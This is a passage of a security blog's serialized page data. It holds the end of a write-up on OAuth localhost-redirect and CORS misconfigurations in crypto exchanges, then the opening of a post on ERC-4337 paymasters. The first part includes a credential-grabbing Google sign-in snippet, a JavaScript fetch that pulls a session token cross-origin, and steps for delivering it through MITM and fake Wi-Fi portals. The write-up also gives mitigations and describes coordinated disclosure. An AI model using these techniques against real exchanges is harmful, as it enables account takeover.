le":5047},[102874],{"type":29,"value":546},{"type":23,"tag":504,"props":102876,"children":102877},{"style":5083},[102878],{"type":29,"value":72881},{"type":23,"tag":504,"props":102880,"children":102881},{"style":5058},[102882],{"type":29,"value":16850},{"type":23,"tag":504,"props":102884,"children":102885},{"class":5016,"line":5746},[102886,102890],{"type":23,"tag":504,"props":102887,"children":102888},{"style":5139},[102889],{"type":29,"value":72893},{"type":23,"tag":504,"props":102891,"children":102892},{"style":5058},[102893],{"type":29,"value":5333},{"type":23,"tag":504,"props":102895,"children":102896},{"class":5016,"line":5813},[102897,102901,102905,102909],{"type":23,"tag":504,"props":102898,"children":102899},{"style":5030},[102900],{"type":29,"value":72905},{"type":23,"tag":504,"props":102902,"children":102903},{"style":5058},[102904],{"type":29,"value":603},{"type":23,"tag":504,"props":102906,"children":102907},{"style":6297},[102908],{"type":29,"value":72914},{"type":23,"tag":504,"props":102910,"children":102911},{"style":5058},[102912],{"type":29,"value":16850},{"type":23,"tag":504,"props":102914,"children":102915},{"class":5016,"line":5821},[102916,102920,102924],{"type":23,"tag":504,"props":102917,"children":102918},{"style":5058},[102919],{"type":29,"value":72926},{"type":23,"tag":504,"props":102921,"children":102922},{"style":5139},[102923],{"type":29,"value":72931},{"type":23,"tag":504,"props":102925,"children":102926},{"style":5058},[102927],{"type":29,"value":5333},{"type":23,"tag":504,"props":102929,"children":102930},{"class":5016,"line":5851},[102931,102935],{"type":23,"tag":504,"props":102932,"children":102933},{"style":5139},[102934],{"type":29,"value":72943},{"type":23,"tag":504,"props":102936,"children":102937},{"style":5058},[102938],{"type":29,"value":5333},{"type":23,"tag":504,"props":102940,"children":102941},{"class":5016,"line":5859},[102942,102946,102950,102955],{"type":23,"tag":504,"props":102943,"children":102944},{"style":5139},[102945],{"type":29,"value":73020},{"type":23,"tag":504,"props":102947,"children":102948},{"style":5058},[102949],{"type":29,"value":603},{"type":23,"tag":504,"props":102951,"children":102952},{"style":6297},[102953],{"type":29,"value":102954},"\"Test\"",{"type":23,"tag":504,"props":102956,"children":102957},{"style":5058},[102958],{"type":29,"value":5200},{"type":23,"tag":504,"props":102960,"children":102961},{"class":5016,"line":5891},[102962,102966],{"type":23,"tag":504,"props":102963,"children":102964},{"style":5139},[102965],{"type":29,"value":73086},{"type":23,"tag":504,"props":102967,"children":102968},{"style":5058},[102969],{"type":29,"value":5333},{"type":23,"tag":504,"props":102971,"children":102972},{"class":5016,"line":5899},[102973,102978,102982],{"type":23,"tag":504,"props":102974,"children":102975},{"style":5058},[102976],{"type":29,"value":102977},"                                src ",{"type":23,"tag":504,"props":102979,"children":102980},{"style":5047},[102981],{"type":29,"value":546},{"type":23,"tag":504,"props":102983,"children":102984},{"style":6297},[102985],{"type":29,"value":102986}," \"https://accounts.google.com/gsi/client\"\n",{"type":23,"tag":504,"props":102988,"children":102989},{"class":5016,"line":5959},[102990,102995,103000,103004,103008],{"type":23,"tag":504,"props":102991,"children":102992},{"style":5058},[102993],{"type":29,"value":102994},"                                attributes[",{"type":23,"tag":504,"props":102996,"children":102997},{"style":6297},[102998],{"type":29,"value":102999},"\"async\"",{"type":23,"tag":504,"props":103001,"children":103002},{"style":5058},[103003],{"type":29,"value":10706},{"type":23,"tag":504,"props":103005,"children":103006},{"style":5047},[103007],{"type":29,"value":546},{"type":23,"tag":504,"props":103009,"children":103010},{"style":6297},[103011],{"type":29,"value":103012}," \"\"\n",{"type":23,"tag":504,"props":103014,"children":103015},{"class":5016,"line":11093},[103016,103020,103025,103029,103033],{"type":23,"tag":504,"props":103017,"children":103018},{"style":5058},[103019],{"type":29,"value":102994},{"type":23,"tag":504,"props":103021,"children":103022},{"style":6297},[103023],{"type":29,"value":103024},"\"defer\"",{"type":23,"tag":504,"props":103026,"children":103027},{"style":5058},[103028],{"type":29,"value":10706},{"type":23,"tag":504,"props":103030,"children":103031},{"style":5047},[103032],{"type":29,"value":546},{"type":23,"tag":504,"props":103034,"children":103035},{"style":6297},[103036],{"type":29,"value":103012},{"type":23,"tag":504,"props":103038,"children":103039},{"class":5016,"line":11111},[103040],{"type":23,"tag":504,"props":103041,"children":103042},{"style":5058},[103043],{"type":29,"value":73111},{"type":23,"tag":504,"props":103045,"children":103046},{"class":5016,"line":11156},[103047,103051],{"type":23,"tag":504,"props":103048,"children":103049},{"style":5139},[103050],{"type":29,"value":73086},{"type":23,"tag":504,"props":103052,"children":103053},{"style":5058},[103054],{"type":29,"value":5333},{"type":23,"tag":504,"props":103056,"children":103057},{"class":5016,"line":11262},[103058,103063],{"type":23,"tag":504,"props":103059,"children":103060},{"style":5139},[103061],{"type":29,"value":103062},"                                unsafe",{"type":23,"tag":504,"props":103064,"children":103065},{"style":5058},[103066],{"type":29,"value":5333},{"type":23,"tag":504,"props":103068,"children":103069},{"class":5016,"line":25550},[103070,103075],{"type":23,"tag":504,"props":103071,"children":103072},{"style":5047},[103073],{"type":29,"value":103074},"                                    +",{"type":23,"tag":504,"props":103076,"children":103077},{"style":6297},[103078],{"type":29,"value":103079},"\"\"\"\n",{"type":23,"tag":504,"props":103081,"children":103082},{"class":5016,"line":25585},[103083],{"type":23,"tag":504,"props":103084,"children":103085},{"style":6297},[103086],{"type":29,"value":103087},"    function handleCredentialResponse(response) {\n",{"type":23,"tag":504,"props":103089,"children":103090},{"class":5016,"line":25593},[103091],{"type":23,"tag":504,"props":103092,"children":103093},{"style":6297},[103094],{"type":29,"value":103095},"      alert(\"credential: \" + response.credential);\n",{"type":23,"tag":504,"props":103097,"children":103098},{"class":5016,"line":25601},[103099],{"type":23,"tag":504,"props":103100,"children":103101},{"style":6297},[103102],{"type":29,"value":5403},{"type":23,"tag":504,"props":103104,"children":103105},{"class":5016,"line":25610},[103106],{"type":23,"tag":504,"props":103107,"children":103108},{"emptyLinePlaceholder":15},[103109],{"type":29,"value":5734},{"type":23,"tag":504,"props":103111,"children":103112},{"class":5016,"line":25652},[103113],{"type":23,"tag":504,"props":103114,"children":103115},{"style":6297},[103116],{"type":29,"value":103117},"    window.onload = async function () {\n",{"type":23,"tag":504,"props":103119,"children":103120},{"class":5016,"line":25685},[103121],{"type":23,"tag":504,"props":103122,"children":103123},{"style":6297},[103124],{"type":29,"value":103125},"      const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n",{"type":23,"tag":504,"props":103127,"children":103128},{"class":5016,"line":25693},[103129],{"type":23,"tag":504,"props":103130,"children":103131},{"style":6297},[103132],{"type":29,"value":103133},"      const client_id = oauth_url.searchParams.get(\"client_id\");\n",{"type":23,"tag":504,"props":103135,"children":103136},{"class":5016,"line":25701},[103137],{"type":23,"tag":504,"props":103138,"children":103139},{"style":6297},[103140],{"type":29,"value":103141},"      google.accounts.id.initialize({\n",{"type":23,"tag":504,"props":103143,"children":103144},{"class":5016,"line":25710},[103145],{"type":23,"tag":504,"props":103146,"children":103147},{"style":6297},[103148],{"type":29,"value":103149},"        client_id: client_id,\n",{"type":23,"tag":504,"props":103151,"children":103152},{"class":5016,"line":25786},[103153],{"type":23,"tag":504,"props":103154,"children":103155},{"style":6297},[103156],{"type":29,"value":103157},"        callback: handleCredentialResponse,\n",{"type":23,"tag":504,"props":103159,"children":103160},{"class":5016,"line":25819},[103161],{"type":23,"tag":504,"props":103162,"children":103163},{"style":6297},[103164],{"type":29,"value":103165},"        auto_select: true\n",{"type":23,"tag":504,"props":103167,"children":103168},{"class":5016,"line":25827},[103169],{"type":23,"tag":504,"props":103170,"children":103171},{"style":6297},[103172],{"type":29,"value":9340},{"type":23,"tag":504,"props":103174,"children":103175},{"class":5016,"line":25835},[103176],{"type":23,"tag":504,"props":103177,"children":103178},{"emptyLinePlaceholder":15},[103179],{"type":29,"value":5734},{"type":23,"tag":504,"props":103181,"children":103182},{"class":5016,"line":25872},[103183],{"type":23,"tag":504,"props":103184,"children":103185},{"style":6297},[103186],{"type":29,"value":103187},"      google.accounts.id.renderButton(\n",{"type":23,"tag":504,"props":103189,"children":103190},{"class":5016,"line":25885},[103191],{"type":23,"tag":504,"props":103192,"children":103193},{"style":6297},[103194],{"type":29,"value":103195},"        document.getElementById(\"g_id_signin\"),\n",{"type":23,"tag":504,"props":103197,"children":103198},{"class":5016,"line":25898},[103199],{"type":23,"tag":504,"props":103200,"children":103201},{"style":6297},[103202],{"type":29,"value":103203},"        { theme: \"outline\", size: \"large\" }\n",{"type":23,"tag":504,"props":103205,"children":103206},{"class":5016,"line":25911},[103207],{"type":23,"tag":504,"props":103208,"children":103209},{"style":6297},[103210],{"type":29,"value":8810},{"type":23,"tag":504,"props":103212,"children":103213},{"class":5016,"line":25965},[103214],{"type":23,"tag":504,"props":103215,"children":103216},{"emptyLinePlaceholder":15},[103217],{"type":29,"value":5734},{"type":23,"tag":504,"props":103219,"children":103220},{"class":5016,"line":25974},[103221],{"type":23,"tag":504,"props":103222,"children":103223},{"style":6297},[103224],{"type":29,"value":103225},"      google.accounts.id.prompt();\n",{"type":23,"tag":504,"props":103227,"children":103228},{"class":5016,"line":34336},[103229],{"type":23,"tag":504,"props":103230,"children":103231},{"style":6297},[103232],{"type":29,"value":41053},{"type":23,"tag":504,"props":103234,"children":103235},{"class":5016,"line":34357},[103236,103241,103245,103250],{"type":23,"tag":504,"props":103237,"children":103238},{"style":6297},[103239],{"type":29,"value":103240},"                                    \"\"\"",{"type":23,"tag":504,"props":103242,"children":103243},{"style":5058},[103244],{"type":29,"value":357},{"type":23,"tag":504,"props":103246,"children":103247},{"style":5139},[103248],{"type":29,"value":103249},"trimIndent",{"type":23,"tag":504,"props":103251,"children":103252},{"style":5058},[103253],{"type":29,"value":9780},{"type":23,"tag":504,"props":103255,"children":103256},{"class":5016,"line":83015},[103257],{"type":23,"tag":504,"props":103258,"children":103259},{"style":5058},[103260],{"type":29,"value":103261},"                                }\n",{"type":23,"tag":504,"props":103263,"children":103264},{"class":5016,"line":83028},[103265],{"type":23,"tag":504,"props":103266,"children":103267},{"style":5058},[103268],{"type":29,"value":73111},{"type":23,"tag":504,"props":103270,"children":103271},{"class":5016,"line":83036},[103272],{"type":23,"tag":504,"props":103273,"children":103274},{"style":5058},[103275],{"type":29,"value":73041},{"type":23,"tag":504,"props":103277,"children":103278},{"class":5016,"line":83044},[103279,103283],{"type":23,"tag":504,"props":103280,"children":103281},{"style":5139},[103282],{"type":29,"value":73049},{"type":23,"tag":504,"props":103284,"children":103285},{"style":5058},[103286],{"type":29,"value":5333},{"type":23,"tag":504,"props":103288,"children":103289},{"class":5016,"line":83052},[103290,103294,103298,103302,103307],{"type":23,"tag":504,"props":103291,"children":103292},{"style":5139},[103293],{"type":29,"value":73061},{"type":23,"tag":504,"props":103295,"children":103296},{"style":5058},[103297],{"type":29,"value":11633},{"type":23,"tag":504,"props":103299,"children":103300},{"style":5047},[103301],{"type":29,"value":6422},{"type":23,"tag":504,"props":103303,"children":103304},{"style":6297},[103305],{"type":29,"value":103306},"\"Login here:\"",{"type":23,"tag":504,"props":103308,"children":103309},{"style":5058},[103310],{"type":29,"value":11642},{"type":23,"tag":504,"props":103312,"children":103313},{"class":5016,"line":83092},[103314,103319],{"type":23,"tag":504,"props":103315,"children":103316},{"style":5139},[103317],{"type":29,"value":103318},"                            div",{"type":23,"tag":504,"props":103320,"children":103321},{"style":5058},[103322],{"type":29,"value":5333},{"type":23,"tag":504,"props":103324,"children":103325},{"class":5016,"line":83100},[103326,103331,103335],{"type":23,"tag":504,"props":103327,"children":103328},{"style":5058},[103329],{"type":29,"value":103330},"                                id ",{"type":23,"tag":504,"props":103332,"children":103333},{"style":5047},[103334],{"type":29,"value":546},{"type":23,"tag":504,"props":103336,"children":103337},{"style":6297},[103338],{"type":29,"value":103339}," \"g_id_signin\"\n",{"type":23,"tag":504,"props":103341,"children":103342},{"class":5016,"line":90286},[103343],{"type":23,"tag":504,"props":103344,"children":103345},{"style":5058},[103346],{"type":29,"value":73111},{"type":23,"tag":504,"props":103348,"children":103349},{"class":5016,"line":90294},[103350],{"type":23,"tag":504,"props":103351,"children":103352},{"style":5058},[103353],{"type":29,"value":73041},{"type":23,"tag":504,"props":103355,"children":103357},{"class":5016,"line":103356},62,[103358],{"type":23,"tag":504,"props":103359,"children":103360},{"style":5058},[103361],{"type":29,"value":73126},{"type":23,"tag":504,"props":103363,"children":103365},{"class":5016,"line":103364},63,[103366],{"type":23,"tag":504,"props":103367,"children":103368},{"style":5058},[103369],{"type":29,"value":73134},{"type":23,"tag":504,"props":103371,"children":103373},{"class":5016,"line":103372},64,[103374],{"type":23,"tag":504,"props":103375,"children":103376},{"style":5058},[103377],{"type":29,"value":60946},{"type":23,"tag":504,"props":103379,"children":103381},{"class":5016,"line":103380},65,[103382,103386,103390,103394,103398,103402],{"type":23,"tag":504,"props":103383,"children":103384},{"style":5058},[103385],{"type":29,"value":73149},{"type":23,"tag":504,"props":103387,"children":103388},{"style":5139},[103389],{"type":29,"value":73154},{"type":23,"tag":504,"props":103391,"children":103392},{"style":5058},[103393],{"type":29,"value":73159},{"type":23,"tag":504,"props":103395,"children":103396},{"style":5047},[103397],{"type":29,"value":546},{"type":23,"tag":504,"props":103399,"children":103400},{"style":5030},[103401],{"type":29,"value":14515},{"type":23,"tag":504,"props":103403,"children":103404},{"style":5058},[103405],{"type":29,"value":5200},{"type":23,"tag":504,"props":103407,"children":103409},{"class":5016,"line":103408},66,[103410],{"type":23,"tag":504,"props":103411,"children":103412},{"style":5058},[103413],{"type":29,"value":5403},{"type":23,"tag":32,"props":103415,"children":103416},{},[103417],{"type":29,"value":103418},"We also reported this vulnerability to the Web3Auth mobile SDK, Slush Wallet, Kukai Wallet, and several other web3 platforms. As mentioned earlier, this issue could have allowed account takeover with zero user interaction if the user had installed an application that exploited the localhost redirect.",{"type":23,"tag":32,"props":103420,"children":103421},{},[103422],{"type":29,"value":103423},"Each team responded promptly, communicated clearly, and shipped fixes quickly. Their diligence set a strong example for coordinated response and helped ensure user security across the ecosystem.",{"type":23,"tag":320,"props":103425,"children":103427},{"id":103426},"how-to-mitigate",[103428],{"type":29,"value":103429},"How to Mitigate",{"type":23,"tag":32,"props":103431,"children":103432},{},[103433],{"type":29,"value":103434},"The proper way to mitigate this issue is to disallow localhost in the live environment. Developers should have a separate staging OAuth environment with a different client ID for testing purposes. It's important to ensure that tokens generated using the test client ID are not valid in the live environment.",{"type":23,"tag":24,"props":103436,"children":103438},{"id":103437},"exploiting-cors",[103439],{"type":29,"value":103440},"Exploiting CORS",{"type":23,"tag":32,"props":103442,"children":103443},{},[103444],{"type":29,"value":103445},"Another bug we found during our research was related to CORS misconfiguration and how different browsers handle mixed content requests.",{"type":23,"tag":32,"props":103447,"children":103448},{},[103449,103451,103457],{"type":29,"value":103450},"While checking for other bugs in exchanges, we found a CORS (Cross-Origin Resource Sharing) configuration allowing credentials and ",{"type":23,"tag":154,"props":103452,"children":103454},{"className":103453},[],[103455],{"type":29,"value":103456},"http://",{"type":29,"value":103458}," schema for any subdomain:",{"type":23,"tag":4743,"props":103460,"children":103464},{"className":103461,"code":103462,"language":103463,"meta":7,"style":7},"language-http shiki shiki-themes slack-dark","HTTP 200 OK\nAccess-Control-Allow-Origin: http://aa.exchange.com\nAccess-Control-Allow-Credentials: true\n[...]\n","http",[103465],{"type":23,"tag":154,"props":103466,"children":103467},{"__ignoreMap":7},[103468,103476,103484,103492],{"type":23,"tag":504,"props":103469,"children":103470},{"class":5016,"line":5017},[103471],{"type":23,"tag":504,"props":103472,"children":103473},{},[103474],{"type":29,"value":103475},"HTTP 200 OK\n",{"type":23,"tag":504,"props":103477,"children":103478},{"class":5016,"line":4868},[103479],{"type":23,"tag":504,"props":103480,"children":103481},{},[103482],{"type":29,"value":103483},"Access-Control-Allow-Origin: http://aa.exchange.com\n",{"type":23,"tag":504,"props":103485,"children":103486},{"class":5016,"line":4876},[103487],{"type":23,"tag":504,"props":103488,"children":103489},{},[103490],{"type":29,"value":103491},"Access-Control-Allow-Credentials: true\n",{"type":23,"tag":504,"props":103493,"children":103494},{"class":5016,"line":5099},[103495],{"type":23,"tag":504,"props":103496,"children":103497},{},[103498],{"type":29,"value":12364},{"type":23,"tag":320,"props":103500,"children":103502},{"id":103501},"cors-misconfiguration-by-lack-of-tls",[103503],{"type":29,"value":103504},"CORS Misconfiguration by Lack of TLS",{"type":23,"tag":32,"props":103506,"children":103507},{},[103508,103510,103516],{"type":29,"value":103509},"This case requires specific preconditions. The idea is to redirect the user to an insecure subdomain of ",{"type":23,"tag":154,"props":103511,"children":103513},{"className":103512},[],[103514],{"type":29,"value":103515},"exchange.com",{"type":29,"value":103517}," and spoof the response by intercepting and tampering with the victim's network packets.",{"type":23,"tag":32,"props":103519,"children":103520},{},[103521],{"type":29,"value":103522},"However, while testing it by simulating an MITM attack, we figured out that this type of attack behaves differently amongst the main browsers:",{"type":23,"tag":1022,"props":103524,"children":103525},{},[103526,103546],{"type":23,"tag":143,"props":103527,"children":103528},{},[103529,103531,103536,103538,103544],{"type":29,"value":103530},"Chrome --> won't work because cookies are not sent in ",{"type":23,"tag":154,"props":103532,"children":103534},{"className":103533},[],[103535],{"type":29,"value":103456},{"type":29,"value":103537}," --> ",{"type":23,"tag":154,"props":103539,"children":103541},{"className":103540},[],[103542],{"type":29,"value":103543},"https://",{"type":29,"value":103545}," requests, even if same-site",{"type":23,"tag":143,"props":103547,"children":103548},{},[103549,103551],{"type":29,"value":103550},"Firefox and Safari --> works since cookies are sent from an insecure context ",{"type":23,"tag":154,"props":103552,"children":103554},{"className":103553},[],[103555],{"type":29,"value":39821},{"type":23,"tag":320,"props":103557,"children":103559},{"id":103558},"exploit-1",[103560],{"type":29,"value":101890},{"type":23,"tag":32,"props":103562,"children":103563},{},[103564],{"type":29,"value":103565},"To exploit it, we must follow some steps:",{"type":23,"tag":139,"props":103567,"children":103568},{},[103569,103574,103579],{"type":23,"tag":143,"props":103570,"children":103571},{},[103572],{"type":29,"value":103573},"Force the victim to enter an insecure webpage in the exchange subdomain",{"type":23,"tag":143,"props":103575,"children":103576},{},[103577],{"type":29,"value":103578},"Deliver the malicious script to the victim using MITM (Man-In-The-Middle)",{"type":23,"tag":143,"props":103580,"children":103581},{},[103582,103584,103589],{"type":29,"value":103583},"Use ",{"type":23,"tag":154,"props":103585,"children":103587},{"className":103586},[],[103588],{"type":29,"value":39821},{"type":29,"value":103590}," with CORS to do something malicious using the victim's account",{"type":23,"tag":32,"props":103592,"children":103593},{},[103594],{"type":29,"value":103595},"To exploit the CORS issue, an attacker must first get the victim to load an insecure subdomain. This can be achieved through techniques such as spoofing Wi-Fi or creating a fake public network that automatically opens the insecure page as the captive portal.",{"type":23,"tag":32,"props":103597,"children":103598},{},[103599,103601,103606],{"type":29,"value":103600},"Once the redirect to the ",{"type":23,"tag":154,"props":103602,"children":103604},{"className":103603},[],[103605],{"type":29,"value":103456},{"type":29,"value":103607}," website is made, if the attacker is in an adjacent network, it is possible to intercept the HTTP request/response (or DNS resolve) and tamper with the returning page. The returning page should have a malicious script that exploits the CORS misconfiguration:",{"type":23,"tag":4743,"props":103609,"children":103611},{"className":33418,"code":103610,"language":33420,"meta":7,"style":7},"(async () => {\n  let res = await fetch('https://www.exchange.com/api/session_token', {\n    credentials: 'include',\n    method: 'POST',\n  });\n  console.log(await res.json());\n})();\n",[103612],{"type":23,"tag":154,"props":103613,"children":103614},{"__ignoreMap":7},[103615,103638,103675,103692,103709,103716,103757],{"type":23,"tag":504,"props":103616,"children":103617},{"class":5016,"line":5017},[103618,103622,103626,103630,103634],{"type":23,"tag":504,"props":103619,"children":103620},{"style":5058},[103621],{"type":29,"value":603},{"type":23,"tag":504,"props":103623,"children":103624},{"style":5030},[103625],{"type":29,"value":38202},{"type":23,"tag":504,"props":103627,"children":103628},{"style":5058},[103629],{"type":29,"value":41753},{"type":23,"tag":504,"props":103631,"children":103632},{"style":5030},[103633],{"type":29,"value":16868},{"type":23,"tag":504,"props":103635,"children":103636},{"style":5058},[103637],{"type":29,"value":5333},{"type":23,"tag":504,"props":103639,"children":103640},{"class":5016,"line":4868},[103641,103645,103650,103654,103658,103662,103666,103671],{"type":23,"tag":504,"props":103642,"children":103643},{"style":5030},[103644],{"type":29,"value":9900},{"type":23,"tag":504,"props":103646,"children":103647},{"style":5041},[103648],{"type":29,"value":103649}," res",{"type":23,"tag":504,"props":103651,"children":103652},{"style":5047},[103653],{"type":29,"value":5050},{"type":23,"tag":504,"props":103655,"children":103656},{"style":5067},[103657],{"type":29,"value":38268},{"type":23,"tag":504,"props":103659,"children":103660},{"style":5139},[103661],{"type":29,"value":34985},{"type":23,"tag":504,"props":103663,"children":103664},{"style":5058},[103665],{"type":29,"value":603},{"type":23,"tag":504,"props":103667,"children":103668},{"style":6297},[103669],{"type":29,"value":103670},"'https://www.exchange.com/api/session_token'",{"type":23,"tag":504,"props":103672,"children":103673},{"style":5058},[103674],{"type":29,"value":50945},{"type":23,"tag":504,"props":103676,"children":103677},{"class":5016,"line":4876},[103678,103683,103688],{"type":23,"tag":504,"props":103679,"children":103680},{"style":5041},[103681],{"type":29,"value":103682},"    credentials:",{"type":23,"tag":504,"props":103684,"children":103685},{"style":6297},[103686],{"type":29,"value":103687}," 'include'",{"type":23,"tag":504,"props":103689,"children":103690},{"style":5058},[103691],{"type":29,"value":5557},{"type":23,"tag":504,"props":103693,"children":103694},{"class":5016,"line":5099},[103695,103700,103705],{"type":23,"tag":504,"props":103696,"children":103697},{"style":5041},[103698],{"type":29,"value":103699},"    method:",{"type":23,"tag":504,"props":103701,"children":103702},{"style":6297},[103703],{"type":29,"value":103704}," 'POST'",{"type":23,"tag":504,"props":103706,"children":103707},{"style":5058},[103708],{"type":29,"value":5557},{"type":23,"tag":504,"props":103710,"children":103711},{"class":5016,"line":5203},[103712],{"type":23,"tag":504,"props":103713,"children":103714},{"style":5058},[103715],{"type":29,"value":99973},{"type":23,"tag":504,"props":103717,"children":103718},{"class":5016,"line":5308},[103719,103724,103728,103733,103737,103741,103745,103749,103753],{"type":23,"tag":504,"props":103720,"children":103721},{"style":5041},[103722],{"type":29,"value":103723},"  console",{"type":23,"tag":504,"props":103725,"children":103726},{"style":5058},[103727],{"type":29,"value":357},{"type":23,"tag":504,"props":103729,"children":103730},{"style":5139},[103731],{"type":29,"value":103732},"log",{"type":23,"tag":504,"props":103734,"children":103735},{"style":5058},[103736],{"type":29,"value":603},{"type":23,"tag":504,"props":103738,"children":103739},{"style":5067},[103740],{"type":29,"value":34972},{"type":23,"tag":504,"props":103742,"children":103743},{"style":5041},[103744],{"type":29,"value":103649},{"type":23,"tag":504,"props":103746,"children":103747},{"style":5058},[103748],{"type":29,"value":357},{"type":23,"tag":504,"props":103750,"children":103751},{"style":5139},[103752],{"type":29,"value":36053},{"type":23,"tag":504,"props":103754,"children":103755},{"style":5058},[103756],{"type":29,"value":17471},{"type":23,"tag":504,"props":103758,"children":103759},{"class":5016,"line":5336},[103760],{"type":23,"tag":504,"props":103761,"children":103762},{"style":5058},[103763],{"type":29,"value":103764},"})();\n",{"type":23,"tag":32,"props":103766,"children":103767},{},[103768],{"type":29,"value":103769},"During our research, the misconfiguration we found was in an API with an endpoint to return the session token, so the impact was an account takeover (ATO) with some limitations since exchanges usually have MFA to perform some actions like withdrawing.",{"type":23,"tag":320,"props":103771,"children":103772},{"id":42390},[103773],{"type":29,"value":42393},{"type":23,"tag":32,"props":103775,"children":103776},{},[103777,103779,103784],{"type":29,"value":103778},"As mitigation, it is recommended to remove all ",{"type":23,"tag":154,"props":103780,"children":103782},{"className":103781},[],[103783],{"type":29,"value":103456},{"type":29,"value":103785}," URLs from the CORS configuration, including localhost, since a local web server in a mobile environment can abuse it.",{"type":23,"tag":32,"props":103787,"children":103788},{},[103789],{"type":29,"value":103790},"Also, as additional/alternative remediation, it is possible to configure the HSTS policy to include all subdomains and prevent insecure subdomains from loading in the browser.",{"type":23,"tag":24,"props":103792,"children":103793},{"id":4832},[103794],{"type":29,"value":4835},{"type":23,"tag":32,"props":103796,"children":103797},{},[103798],{"type":29,"value":103799},"In conclusion, our deep dive into authentication and client-side bugs within exchange platforms revealed several vulnerabilities stemming from misconfigurations. These types of attacks show the complexity of securing client-side applications due to the different contexts and environments they can operate in.",{"type":23,"tag":32,"props":103801,"children":103802},{},[103803],{"type":29,"value":103804},"It also demonstrates how development configurations can harm the application's security if they are also used in production. Thus, auditors must always understand in which environments and contexts the application will/can be run in, and ensure that the configurations are not insecure for use in production.",{"type":23,"tag":7410,"props":103806,"children":103807},{},[103808],{"type":29,"value":7414},{"title":7,"searchDepth":4868,"depth":4868,"links":103810},[103811,103816,103821],{"id":101495,"depth":4868,"text":101498,"children":103812},[103813,103814,103815],{"id":101506,"depth":4876,"text":101509},{"id":101863,"depth":4876,"text":101866},{"id":103426,"depth":4876,"text":103429},{"id":103437,"depth":4868,"text":103440,"children":103817},[103818,103819,103820],{"id":103501,"depth":4876,"text":103504},{"id":103558,"depth":4876,"text":101890},{"id":42390,"depth":4876,"text":42393},{"id":4832,"depth":4868,"text":4835},"content:blog:2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations",{"_path":103826,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":103827,"description":103828,"date":103829,"author":103830,"image":103831,"isFeatured":15,"onBlogPage":15,"tags":103833,"body":103836,"_type":4892,"_id":109608,"_source":4894,"_file":109609,"_stem":109610,"_extension":4897},"/blog/2025-12-02-paymasters-evm","ERC-4337 Paymasters: Better UX, Hidden Risks","ERC-4337 paymasters unlock powerful UX by abstracting gas costs, but they also add complexity and subtle bugs. Explore some common pitfalls in real-world implementations and learn how to design production-ready paymasters.","2025-12-02T12:00:00.000Z","nicholas",{"src":103832,"width":99047,"height":14},"/posts/paymasters-evm/title.png",[103834,103835],"evm","ERC-4337",{"type":20,"children":103837,"toc":109587},[103838,103842,103853,103858,103863,103868,103874,103880,103885,103890,103896,103901,103929,103935,103940,103947,103952,103962,103967,103993,103999,104019,104025,104045,104053,104084,104117,104126,104138,104163,104175,104188,104231,104237,104270,104369,104388,104411,104416,104422,104450,104597,104602,104629,104635,104647,104659,104668,104703,104708,106193,106221,106242,106247,106259,106268,106273,106291,106314,106319,106325,106379,106385,106418,106453,107277,107313,107349,107415,107448,107946,107999,108011,108575,108644,108671,109293,109335,109362,109374,109435,109454,109488,109493,109498,109503,109507,109512,109547,109573,109578,109583],{"type":23,"tag":37429,"props":103839,"children":103840},{"id":31069},[103841],{"type":29,"value":31072},{"type":23,"tag":32,"props":103843,"children":103844},{},[103845,103851],{"type":23,"tag":68,"props":103846,"children":103849},{"href":103847,"rel":103848},"https://docs.erc4337.io/",[72],[103850],{"type":29,"value":103835},{"type":29,"value":103852}," (Account Abstraction) has unlocked a new wave of UX improvements for Ethereum. By decoupling users from EOAs (Externally Owned Accounts), it enables smart contract wallets, gas sponsorships, and flexible authentication mechanisms.",{"type":23,"tag":32,"props":103854,"children":103855},{},[103856],{"type":29,"value":103857},"One of the most powerful features introduced by ERC-4337 is the paymaster, a contract that can sponsor gas fees for users. This allows dApps to deliver seamless, “gasless” experiences where users don’t have to hold ETH to transact.",{"type":23,"tag":32,"props":103859,"children":103860},{},[103861],{"type":29,"value":103862},"However, building a correct paymaster isn’t trivial. We’ve seen many developers trip up on subtle details of the standard, which can cause unexpected behavior or unnecessary complexity.",{"type":23,"tag":32,"props":103864,"children":103865},{},[103866],{"type":29,"value":103867},"In this article, we’ll break down how ERC-4337 works at a high level, zoom in on the paymaster’s role, and walk through the most common pitfalls we’ve observed when implementing paymasters. By the end, you’ll have a clear picture of how to design paymasters that follow best practices and are production-ready.",{"type":23,"tag":37429,"props":103869,"children":103871},{"id":103870},"erc4337-overview",[103872],{"type":29,"value":103873},"ERC4337 Overview",{"type":23,"tag":24,"props":103875,"children":103877},{"id":103876},"traditional-eoas-vs-smart-contract-wallets",[103878],{"type":29,"value":103879},"Traditional EOAs vs Smart Contract Wallets",{"type":23,"tag":32,"props":103881,"children":103882},{},[103883],{"type":29,"value":103884},"In Ethereum’s early design, user accounts are Externally Owned Accounts (EOAs), controlled by a private key. When you send a transaction (e.g. token transfer or contract call), your private key signs the transaction, and you must pay gas in ETH. If the key is lost or stolen, you lose access to everything permanently. This setup is simple, but also rigid and risky.",{"type":23,"tag":32,"props":103886,"children":103887},{},[103888],{"type":29,"value":103889},"By contrast, smart contract accounts (or \"smart wallets\") are programmable. They can enforce logic like multiple signatures, spending limits, social recovery, batching, and more, automating many aspects of security and usability.",{"type":23,"tag":24,"props":103891,"children":103893},{"id":103892},"why-erc4337-was-introduced",[103894],{"type":29,"value":103895},"Why 